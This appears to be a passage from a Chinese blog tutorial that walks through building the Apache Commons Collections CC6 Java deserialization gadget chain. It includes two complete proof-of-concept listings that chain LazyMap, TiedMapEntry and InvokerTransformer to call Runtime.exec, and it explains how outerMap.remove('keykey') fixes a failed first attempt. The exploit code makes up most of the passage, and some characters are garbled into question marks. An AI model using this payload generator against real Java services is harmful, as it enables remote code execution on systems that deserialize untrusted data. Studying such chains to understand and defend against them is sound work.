fakeTransformers
对象,等最后要?成Payload的时候,再把真正的 transformers
替换进去 。
将上面的transformer包装成恶意LazyMap对象outerMap
,将其作为TiedMapEntry
的map属性 。
TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
接着,为了调? TiedMapEntry#hashCode()
,我们需要将tme
对象作为 HashMap的?个key 。注意,这?我们需要新建?个HashMap,?不是?之前LazyMap利?链?的那个HashMap,两者没任何关系 。
Map expMap = new HashMap();expMap.put(tme, "valuevalue");
最后,可以将这个expMap
作为对象来序列化了,不过,别忘了将真正的transformers
数组设置进来
整体Payload
如下:
public class CC6 {public static void main(String[] args) throws Exception {Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)};Transformer[] iTransformers= new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),new InvokerTransformer("exec",new Class[] {String.class},new String[]{"calc.exe"})};Transformer chain = new ChainedTransformer(fakeTransformers);Map innerMap = new HashMap();Map outerMap = LazyMap.decorate(innerMap, chain);TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");Map expMap = new HashMap();expMap.put(tme, "valuevalue");Field f = ChainedTransformer.class.getDeclaredField("iTransformers");f.setAccessible(true);f.set(chain, iTransformers);//生成序列化字符串ByteArrayOutputStream barr = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(barr);oos.writeObject(expMap);oos.close();System.out.println(barr);//本地测试ObjectInputStream ois = new ObjectInputStream(newByteArrayInputStream(barr.toByteArray()));Object o = (Object)ois.readObject();}}
关于构造利用链,先要有一个大致思路,接下来就是寻找参数是怎么样传递的 。
调试可以看到,只是生成序列化数据,没有成功执行命令

文章插图
每个关键函数都打断点,单步调试一下 。在LazyMap的get?法,画框的部分,就是最后触发命令执?的
transform()
,但是这个if语句并没有进?,因为map.containsKey(key)
的结果是true
文章插图
可以看到这里的key是
keykey
,看下之前的代码,唯?出现keykey
的地?就是在 TiedMapEntry
的构造函数?,但TiedMapEntry
的构造函数并没有修改outerMap
Map innerMap = new HashMap();Map outerMap = LazyMap.decorate(innerMap, chain);TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");Map expMap = new HashMap();expMap.put(tme, "valuevalue");
这个关键点就出在expMap.put(tme, "valuevalue");
这个语句?? 。HashMap的put?法中,也有调?到hash(key)
;
文章插图
这?就导致
LazyMap
这个利?链在这?被调?了?遍,因为前??了fakeTransformers,所以此 时并没有触发命令执?,但实际上也对我们构造Payload产?了影响解决?法也很简单,只需要将keykey这个Key,再从outerMap中移除即 可:
outerMap.remove("keykey")
。最终完整POC如下
public class CC6 {public static void main(String[] args) throws Exception {Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)};Transformer[] iTransformers= new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),new InvokerTransformer("exec",new Class[] {String.class},new String[]{"calc.exe"})};Transformer chain = new ChainedTransformer(fakeTransformers);Map innerMap = new HashMap();Map outerMap = LazyMap.decorate(innerMap, chain);TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");Map expMap = new HashMap();expMap.put(tme, "valuevalue");outerMap.remove("keykey");//将真正的transformers数组设置进来Field f = ChainedTransformer.class.getDeclaredField("iTransformers");f.setAccessible(true);f.set(chain, iTransformers);//生成序列化字符串ByteArrayOutputStream barr = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(barr);oos.writeObject(expMap);oos.close();System.out.println(barr);//本地测试ObjectInputStream ois = new ObjectInputStream(newByteArrayInputStream(barr.toByteArray()));Object o = (Object)ois.readObject();}}
经验总结扩展阅读
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 如何通过Java导出带格式的 Excel 数据到 Word 表格
- 海信uled电视怎么样 都有哪些特别之处
- 支持JDK19虚拟线程的web框架之四:看源码,了解quarkus如何支持虚拟线程
- vulnhub靶场之DRIPPING BLUES: 1
- 女虎男兔是结婚的大忌 变通性格处之
- 伤官不见官必配贵夫 贞洁之妇聪明有才
- 硬核剖析Java锁底层AQS源码,深入理解底层架构设计
- 定位java程序中占用cpu最高的线程堆栈信息
- 男女之间钓鱼什么意思
- SpringCloudAlibaba 微服务组件 Nacos 之配置中心源码深度解析